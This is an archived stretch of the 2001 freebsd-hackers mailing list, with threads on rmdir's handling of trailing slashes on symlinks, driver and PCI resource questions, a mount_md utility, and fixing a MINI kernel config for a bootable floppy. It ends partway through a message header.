http://www.gbch.net/gjb/img/gjb-auug048.gif X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 X-PGP-Public-Key: http://www.gbch.net/gjb/gjb-pgpkey.asc Message-Id: Date: Sun, 04 Feb 2001 06:58:06 +1000 From: Greg Black To: dan@langille.org Cc: hackers@freebsd.org Subject: Re: Trailing slashes and rmdir - POLA broken References: <200102032030.f13KUAR06325@ns1.unixathome.org> In-reply-to: <200102032030.f13KUAR06325@ns1.unixathome.org> of Sun, 04 Feb 2001 09:49:19 +1300 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Dan Langille" wrote: > On 4 Feb 2001, at 6:46, Greg Black wrote: > > > Observe the following: > > > > $ uname -rs > > FreeBSD 4.1-RELEASE > > $ ls -l > > $ mkdir foo > > $ ln -s foo bar > > $ rmdir bar > > rmdir: bar: Not a directory > > I'm quite sure that rm bar will work. Of course it works. The part you quoted was the introduction and was as it "should" be. You cut out the part with the actual question. I'll repeat it here: So far, so good -- but look at this: $ rmdir bar/ $ ls -l total 0 lrwxrwx--- 1 gjb wheel 3 Feb 4 06:35 bar -> foo $ Oops, "rmdir bar/" ended up as "rmdir foo" and left the useless symlink bar in place. What I'm saying is that the ls above should have shown the directory foo, because "rmdir bar/" should not result in doing the same as "rmdir foo". IMO, "rmdir bar/" should elicit the same response as "rmdir bar" -- "Not a directory" and no action. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 13: 2:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id B8FE337B503 for ; Sat, 3 Feb 2001 13:01:53 -0800 (PST) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f13KgcR06389; Sun, 4 Feb 2001 09:42:38 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200102032042.f13KgcR06389@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: Greg Black Date: Sun, 4 Feb 2001 10:01:47 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Trailing slashes and rmdir - POLA broken Reply-To: dan@langille.org Cc: hackers@FreeBSD.ORG In-reply-to: References: <200102032030.f13KUAR06325@ns1.unixathome.org> of Sun, 04 Feb 2001 09:49:19 +1300 X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 4 Feb 2001, at 6:58, Greg Black wrote: > Of course it works. The part you quoted was the introduction > and was as it "should" be. You cut out the part with the actual > question. I'll repeat it here: Serves me right for trying to help after a 22 hour work stint and getting up after 4 hours of sleep.... -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 13: 2:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from guild.plethora.net (guild.plethora.net [205.166.146.8]) by hub.freebsd.org (Postfix) with ESMTP id F1FCA37B491 for ; Sat, 3 Feb 2001 13:02:04 -0800 (PST) Received: from guild.plethora.net (seebs@localhost.plethora.net [127.0.0.1]) by guild.plethora.net (8.10.1/8.10.1) with ESMTP id f13L23P01850 for ; Sat, 3 Feb 2001 15:02:04 -0600 (CST) Message-Id: <200102032102.f13L23P01850@guild.plethora.net> From: seebs@plethora.net (Peter Seebach) Reply-To: seebs@plethora.net (Peter Seebach) To: hackers@freebsd.org Subject: Re: Trailing slashes and rmdir - POLA broken In-reply-to: Your message of "Sun, 04 Feb 2001 06:46:32 +1000." Date: Sat, 03 Feb 2001 15:02:03 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Greg Black writes: > $ rmdir bar/ > $ ls -l > total 0 > lrwxrwx--- 1 gjb wheel 3 Feb 4 06:35 bar -> foo > $ >Oops, "rmdir bar/" ended up as "rmdir foo" and left the useless >symlink bar in place. Yup. >BSD/OS gives that silly "Is a directory" error message for the >"rmdir bar/" case, but at least it does not actually do anything. >I don't think FreeBSD should do what it does. Is there any good >reason to preserve this behaviour? History. In earlier BSD, 'foo/' meant the same thing as 'foo/""', that is to say, "foo/.". ("" => ".", sometimes). So, "bar/" implies a dereferencing of the link. I believe the silly "Is a directory" message will go away, but I don't think we will end up following the link in that case, although it's still being debated. -s To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 13:15:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from web2103.mail.yahoo.com (web2103.mail.yahoo.com [128.11.68.247]) by hub.freebsd.org (Postfix) with SMTP id A54A037B401 for ; Sat, 3 Feb 2001 13:15:26 -0800 (PST) Received: (qmail 26952 invoked by uid 60001); 3 Feb 2001 21:15:26 -0000 Message-ID: <20010203211526.26951.qmail@web2103.mail.yahoo.com> Received: from [200.226.146.219] by web2103.mail.yahoo.com; Sat, 03 Feb 2001 13:15:26 PST Date: Sat, 3 Feb 2001 13:15:26 -0800 (PST) From: Rubens Ramos Subject: cmpci support - want to help To: freebsd-hackers@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I cannot find any PR or eveidence that FreeBSD supports CMPCI chip. Is anyone working on this? If not I would like to help, it looks like NetBSD has CMPCI support, it might be relatively easy to port their implementation... Thank you ===== ---- Rubens Ramos Fernandes Junior rubens_ramos@yahoo.com ---- __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 13:41:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 6CEA637B491; Sat, 3 Feb 2001 13:41:05 -0800 (PST) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f13LLsR06494; Sun, 4 Feb 2001 10:21:55 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200102032121.f13LLsR06494@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: freebsd-stable@FreeBSD.ORG Date: Sun, 4 Feb 2001 10:41:02 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: panic: ufs_dirbad: bad dir Reply-To: dan@langille.org Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: <20010202052101.97419.qmail@mail.oregonfast.net> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had to give up on that disk. I bought a new 10GB IDE to replace it (it's going to be vastly under-filled). I still have the disk, so if anyone wants to follow this up, it is still intact. On 2 Feb 2001, at 5:21, Dan Langille wrote: > I recently upgraded a box from 4.1-stable to 4.2-stable. An NFS mount was > used for the install world and install kernel. During the kernel install > the box panic'd (sorry, didn't see the message). Upon boot, the box give > these messages: > > Mounting root from ufs:/dev/ad0s1a > /: bad dir ino 2 at offset 0: mangled entry > panic: ufs_dirbad: bad dir > > syncing disks.... 1 1 1 1 1 1 1 1..etc > giving up on 1 buffers > > > I did an fsck on the disk by moving it to another box. The above messages > appeared both before and after the fsck. > > Clues please! -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 14:39:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ntlg.sibnet.ru (dns.sibnet.ru [217.70.96.34]) by hub.freebsd.org (Postfix) with ESMTP id CA5C137B401; Sat, 3 Feb 2001 14:39:23 -0800 (PST) Received: from tlg2-ppp5.sibnet.ru (tlg2-ppp5.sibnet.ru [217.70.97.116]) by ntlg.sibnet.ru (8.9.3+Sun/8.9.3) with ESMTP id BAA00646; Sun, 4 Feb 2001 01:39:21 +0300 (MSK) Date: Sun, 4 Feb 2001 04:44:30 +0600 (GMT+6) From: "Semen A. Ustimenko" X-Sender: semenu@default To: freebsd-current@FreeBSD.org Cc: freebsd-hackers@FreeBSD.org, Michael Smith Subject: PCI bus code & SMC9432 behaviour Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! I got into a following problem with subj: During boot process, the card can be in power down mode. This can be cause MEMEN and PORTEN bits not set up correctly (set to 0) during boot. This bits not set will cause no resources for this device, thus later a bus_alloc_resource() call will fail. I succeed to with adding resources manualy by calling bus_set_resource(), but it seems to me a wrong idea. I supposed the pci code analyze that driver sets/clears PORTEN or MEMEN bit, and thus add/remove appropriate resources... This wont be difficult. If you say this is a good idea, i can provide a patch myself, though i haven't thouched the pci code before. Good luck! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 16: 0:41 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id E335637B69D; Sat, 3 Feb 2001 16:00:16 -0800 (PST) Received: by bazooka.unixfreak.org (Postfix, from userid 1000) id 95DEE3E02; Sat, 3 Feb 2001 16:00:16 -0800 (PST) Received: from unixfreak.org (localhost [127.0.0.1]) by bazooka.unixfreak.org (Postfix) with ESMTP id 8EDF93C10B; Sat, 3 Feb 2001 16:00:16 -0800 (PST) To: Matt Dillon Cc: mi@aldan.algebra.com, deischen@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: mount_md (was: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERIC)) In-Reply-To: Message from Matt Dillon of "Sat, 03 Feb 2001 11:36:04 PST." <200102031936.f13Ja4G11258@earth.backplane.com> Date: Sat, 03 Feb 2001 16:00:11 -0800 From: Dima Dorfman Message-Id: <20010204000016.95DEE3E02@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > :Some thoughts: > : > : - If you want softupdates, you need to specify the -S flag. Should > : softupdates be the default? > > That's a hard one. Considering that people who have mfs in their fstab > probably expect as little disk I/O as possible, softupdate sshould > probably be enabled by default. Okay. Now the -S flag is used to disable softupdates. You can find the updated code at the same place (for your convenience, it is: http://www.unixfreak.org/~dima/home/mount_md.c). Also, the only reason mount_md runs tunefs is to enable softupdates. Perhaps it would be benificial to enable it during the newfs run? This would save one fork/exec sequence; I don't know whether it's worth it. I wrote a small patch to newfs to add a -g flag which will enable softupdates; you can find the diff at http://www.unixfreak.org/~dima/home/newfs-softdep.diff. It seems like it might be a good convenience feature (for manual newfs use and otherwise). > > : - To suppress the output of disklabel/newfs/etc., it closes fds 0-2. Is > : this evil? Should I devise another method of doing this (something > : like opening /dev/null and dup2'ing that fd to 0-2)? > > Yes, that is evil. opening and dup2()ing /dev/null to 0, 1, and 2 > is the prefered method. Fixed. > > : - Should there be an option to make use of md's autounit feature? I > : don't think it will be very hard to implement, but I don't know how > : useful it would be. > > Yes, I think this should be the default. Also fixed. It now accepts '/dev/md' or 'md' as the md-device parameter (the first after the arguments) to mean 'use autounit'. Regards Dima Dorfman dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 16:43:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from chimaira.fileforce.de (dialer124.kel.de.core.tng.de [213.178.65.124]) by hub.freebsd.org (Postfix) with ESMTP id C8CFA37B4EC for ; Sat, 3 Feb 2001 16:42:56 -0800 (PST) Received: from localhost (spectrum@localhost) by chimaira.fileforce.de (8.11.1/8.11.1) with ESMTP id f140hNh02113 for ; Sun, 4 Feb 2001 01:43:24 +0100 (CET) (envelope-from fleischmann@ki.tng.de) X-Authentication-Warning: chimaira.fileforce.de: spectrum owned process doing -bs Date: Sun, 4 Feb 2001 01:43:23 +0100 (CET) From: Oliver Fleischmann X-Sender: spectrum@chimaira.fileforce.de To: freebsd-hackers@freebsd.org Subject: Setting bus resources from a module Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have some problems understanding how resources like the I/O Port or IRQ are set from a loadable kernel module. I tried to construct a module to access the generic joystick port on the isa bus. But i don't understand how the resources are set for the port. Is it right to do a BUS_ADD_CHILD call in the identify method and then call the bus_set_resource function to set the I/O port ? If it is so, where can i find the definition for BUS_ADD_CHILD ? I don't know what this function exactly does. Perhaps there are other ways to solve my problem. I hope you can help me. Thanks in advance, Oliver Fleischmann To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 17:21:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 2EB3C37B699; Sat, 3 Feb 2001 17:20:51 -0800 (PST) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f1411gR08079; Sun, 4 Feb 2001 14:01:42 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200102040101.f1411gR08079@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: freebsd-hackers@FreeBSD.ORG Date: Sun, 4 Feb 2001 14:20:48 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: An example script for creating a bootable floppy Reply-To: dan@langille.org Cc: freebsd-doc@FreeBSD.ORG X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At http://www.freebsd.org/handbook/backup-programs.html, there is a script for creating a bootable floppy. Part of this script is the MINI kernel. The example is out of date and doesn't work under 4.2. I've included my amended mini-kernel when trying to convert it to 4.2- stable. But it fails to compile (the error is at the end of this message). Given the increase in kernel size since this document was created, is it still possible to create a single floppy kernel + tools which is bootable? If so, could someone please advise me on how to correct the error below. If not, I'll submit a patch removing this section from the handbook. thanks. # # MINI -- A kernel to get FreeBSD on onto a disk. # machine "i386" cpu "I486_CPU" ident MINI maxusers5 options INET# needed for _tcp _icmpstat _ipstat #_udpstat _tcpstat _udb options FFS #Berkeley Fast File System options FAT_CURSOR #block cursor in syscons or pccons options SCSI_DELAY=1500 #Be pessimistic about Joe SCSI device options MAXCONS=2 # number of virtual consoles options USERCONFIG #Allow user configuration with -c XXX #config kernel root on da0 swap on da0 and da1 dumps on da0 device isa0 device pci0 device fdc0 at isa? port IO_FD1 irq 6 drq 2 device fd0 at fdc0 drive 0 device ncr0 device scbus0 device sc0 at isa? flags 0x100 device npx0 at nexus? port IO_NPX irq 13 device da0 device da1 device da2 device sa0 pseudo-device loop# required by INET pseudo-device gzip# Exec gzipped a.out' cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 ../../kern/kern_sig.c ../../kern/kern_sig.c:359: warning: function declaration isn't a prototype ../../kern/kern_sig.c: In function `osigaction': ../../kern/kern_sig.c:367: dereferencing pointer to incomplete type ../../kern/kern_sig.c:367: dereferencing pointer to incomplete type ../../kern/kern_sig.c:369: dereferencing pointer to incomplete type ../../kern/kern_sig.c:370: dereferencing pointer to incomplete type ../../kern/kern_sig.c:372: dereferencing pointer to incomplete type ../../kern/kern_sig.c:379: dereferencing pointer to incomplete type ../../kern/kern_sig.c:384: dereferencing pointer to incomplete type ../../kern/kern_sig.c: At top level: ../../kern/kern_sig.c:532: warning: function declaration isn't a prototype ../../kern/kern_sig.c: In function `osigprocmask': ../../kern/kern_sig.c:538: dereferencing pointer to incomplete type ../../kern/kern_sig.c:539: dereferencing pointer to incomplete type ../../kern/kern_sig.c: At top level: ../../kern/kern_sig.c:567: warning: function declaration isn't a prototype ../../kern/kern_sig.c:721: warning: function declaration isn't a prototype ../../kern/kern_sig.c: In function `osigsuspend': ../../kern/kern_sig.c:729: dereferencing pointer to incomplete type *** Error code 1 -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 18: 2:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id C7C1137B65D; Sat, 3 Feb 2001 18:02:17 -0800 (PST) Received: by bazooka.unixfreak.org (Postfix, from userid 1000) id 77E523E02; Sat, 3 Feb 2001 18:02:17 -0800 (PST) Received: from unixfreak.org (localhost [127.0.0.1]) by bazooka.unixfreak.org (Postfix) with ESMTP id 76A053C10B; Sat, 3 Feb 2001 18:02:17 -0800 (PST) To: dan@langille.org Cc: freebsd-hackers@FreeBSD.ORG, freebsd-doc@FreeBSD.ORG Subject: Re: An example script for creating a bootable floppy In-Reply-To: Message from "Dan Langille" of "Sun, 04 Feb 2001 14:20:48 +1300." <200102040101.f1411gR08079@ns1.unixathome.org> Date: Sat, 03 Feb 2001 18:02:12 -0800 From: Dima Dorfman Message-Id: <20010204020217.77E523E02@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmiss > ing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ans > i -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL -include > opt_global.h -elf -mpreferred-stack-boundary=2 ../../kern/kern_sig.c > ../../kern/kern_sig.c:359: warning: function declaration isn't a prototype > ../../kern/kern_sig.c: In function `osigaction': > ../../kern/kern_sig.c:367: dereferencing pointer to incomplete type Wild guess: try sticking ``options COMPAT_43'' in the config file. This smells of missing 4.3BSD compatibility structures or something. Dima Dorfman dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 18: 8:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.theinternet.com.au (zeus.theinternet.com.au [203.34.176.2]) by hub.freebsd.org (Postfix) with ESMTP id 188D037B503 for ; Sat, 3 Feb 2001 18:08:04 -0800 (PST) Received: (from akm@localhost) by mail.theinternet.com.au (8.9.3/8.9.3) id MAA12000; Sun, 4 Feb 2001 12:15:08 +1000 (EST) (envelope-from akm) Date: Sun, 4 Feb 2001 12:15:08 +1000 From: Andrew Kenneth Milton To: Greg Black Cc: hackers@FreeBSD.ORG Subject: Re: Trailing slashes and rmdir - POLA broken Message-ID: <20010204121508.C1511@zeus.theinternet.com.au> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Greg Black on Sun, Feb 04, 2001 at 06:46:32AM +1000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG +-------[ Greg Black ]---------------------- | Observe the following: | | $ uname -rs | FreeBSD 4.1-RELEASE | $ ls -l | $ mkdir foo | $ ln -s foo bar | $ rmdir bar | rmdir: bar: Not a directory | | So far, so good -- but look at this: | | $ rmdir bar/ | $ ls -l | total 0 | lrwxrwx--- 1 gjb wheel 3 Feb 4 06:35 bar -> foo | $ for kicks notice the difference between cp -R foo and cp -R foo/ foo doesn't have to be a symlink. the cp manpage doesn't mention this; -R If source_file designates a directory, cp copies the directory and the entire subtree connected at that point. This option also caus- es symbolic links to be copied, rather than indirected through, and for cp to create special files rather than copying them as normal files. Created directories have the same mode as the corresponding source directory, unmodified by the process' umask. foo and foo/ both designate a directory (if foo is not a symlink). thank god for setopt auto_remove_slash in zsh d8) -- Totally Holistic Enterprises Internet| P:+61 7 3870 0066 | Andrew Milton The Internet (Aust) Pty Ltd | F:+61 7 3870 4477 | ACN: 082 081 472 ABN: 83 082 081 472 | M:+61 416 022 411 | Carpe Daemon PO Box 837 Indooroopilly QLD 4068 |akm@theinternet.com.au| To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 18:42:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id D154537B491; Sat, 3 Feb 2001 18:42:05 -0800 (PST) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f142MsR08229; Sun, 4 Feb 2001 15:22:54 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200102040222.f142MsR08229@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: Dima Dorfman Date: Sun, 4 Feb 2001 15:42:01 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: An example script for creating a bootable floppy Reply-To: dan@langille.org Cc: freebsd-hackers@FreeBSD.ORG, freebsd-doc@FreeBSD.ORG References: Message from "Dan Langille" of "Sun, 04 Feb 2001 14:20:48 +1300." <200102040101.f1411gR08079@ns1.unixathome.org> In-reply-to: <20010204020217.77E523E02@bazooka.unixfreak.org> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 3 Feb 2001, at 18:02, Dima Dorfman wrote: > > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmiss > > ing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ans > > i -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL -include > > opt_global.h -elf -mpreferred-stack-boundary=2 ../../kern/kern_sig.c > > ../../kern/kern_sig.c:359: warning: function declaration isn't a prototype > > ../../kern/kern_sig.c: In function `osigaction': > > ../../kern/kern_sig.c:367: dereferencing pointer to incomplete type > > Wild guess: try sticking ``options COMPAT_43'' in the config file. > This smells of missing 4.3BSD compatibility structures or something. That got me quite a bit further. Any ideas about this one please? It's the keyboard isn't it? From LINT, I added these: # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc0 at isa? port IO_KBD device atkbd0 at atkbdc? irq 1 flags 0x1 device psm0 at atkbdc? irq 12 cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat- extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL - include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c linking kernel kbd.o: In function `kbd_register': kbd.o(.text+0x2f6): undefined reference to `kbddriver_set' kbd.o(.text+0x2fd): undefined reference to `kbddriver_set' etc... After that change, I encounted this: cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat- extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL - include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c linking kernel scvidctl.o: In function `sc_set_text_mode': scvidctl.o(.text+0x19): undefined reference to `vidsw' scvidctl.o: In function `sc_set_graphics_mode': scvidctl.o(.text+0x26a): undefined reference to `vidsw' scvidctl.o: In function `sc_vid_ioctl': scvidctl.o(.text+0x77f): undefined reference to `vidsw' scvidctl.o(.text+0x7a3): undefined reference to `vidsw' scvidctl.o(.text+0x7bc): undefined reference to `vid_get_adapter' scvidctl.o(.text+0x822): undefined reference to `vid_get_adapter' ..etc. thanks -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 19:27:19 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id 9E2DE37B4EC for ; Sat, 3 Feb 2001 19:27:00 -0800 (PST) Received: by bazooka.unixfreak.org (Postfix, from userid 1000) id 708183E0D; Sat, 3 Feb 2001 19:27:00 -0800 (PST) Received: from unixfreak.org (localhost [127.0.0.1]) by bazooka.unixfreak.org (Postfix) with ESMTP id 6F3CC3C10B; Sat, 3 Feb 2001 19:27:00 -0800 (PST) To: dan@langille.org Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: An example script for creating a bootable floppy In-Reply-To: Message from "Dan Langille" of "Sun, 04 Feb 2001 15:42:01 +1300." <200102040222.f142MsR08229@ns1.unixathome.org> Date: Sat, 03 Feb 2001 19:27:00 -0800 From: Dima Dorfman Message-Id: <20010204032700.708183E0D@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ dropping -doc ] > On 3 Feb 2001, at 18:02, Dima Dorfman wrote: > > Wild guess: try sticking ``options COMPAT_43'' in the config file. > > This smells of missing 4.3BSD compatibility structures or something. > > That got me quite a bit further. Any ideas about this one please? It's > the keyboard isn't it? From LINT, I added these: That would be it. > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat- > extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -D_KERNEL - > include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c > linking kernel > scvidctl.o: In function `sc_set_text_mode': > scvidctl.o(.text+0x19): undefined reference to `vidsw' After a brief inspection of the code, I think adding a 'vga' device will help: device vga0 at isa? Dima Dorfman dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 20:19:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 289EF37B491 for ; Sat, 3 Feb 2001 20:19:08 -0800 (PST) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f143xuR08405; Sun, 4 Feb 2001 16:59:56 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200102040359.f143xuR08405@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: Dima Dorfman Date: Sun, 4 Feb 2001 17:19:02 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: An example script for creating a bootable floppy Reply-To: dan@langille.org Cc: freebsd-hackers@FreeBSD.ORG References: Message from "Dan Langille" of "Sun, 04 Feb 2001 15:42:01 +1300." <200102040222.f142MsR08229@ns1.unixathome.org> In-reply-to: <20010204032700.708183E0D@bazooka.unixfreak.org> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 3 Feb 2001, at 19:27, Dima Dorfman wrote: > After a brief inspection of the code, I think adding a 'vga' device > will help: > > device vga0 at isa? Yep. That compiles now. Thank you. But it's: -rwxr-xr-x 1 root wheel 1321263 Feb 4 16:33 kernel Which makes it a pretty full disk... # df /mnt Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/fd0c 1359 4 1287 0% /mnt After the copy: # df /mnt Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/fd0c 1359 1300 -8 101% /mnt I get a root mount failed, then a panic, but at least it's a kernel. If I make any more progress, I'll le you know. Thanks. -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 21:19: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from sydney.worldwide.lemis.com (unknown [192.109.197.194]) by hub.freebsd.org (Postfix) with ESMTP id E173737B491; Sat, 3 Feb 2001 21:18:44 -0800 (PST) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.11.1/8.9.3) id f141Rfe27754; Sun, 4 Feb 2001 12:27:41 +1100 (EST) (envelope-from grog) Date: Sun, 4 Feb 2001 11:57:41 +1030 From: Greg Lehey To: Peter Wemm Cc: Robert Watson , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Watch your devfs permissions in driver make_dev calls Message-ID: <20010204115741.G27504@sydney.worldwide.lemis.com> References: <200102030410.f134AAW35066@mobile.wemm.org> 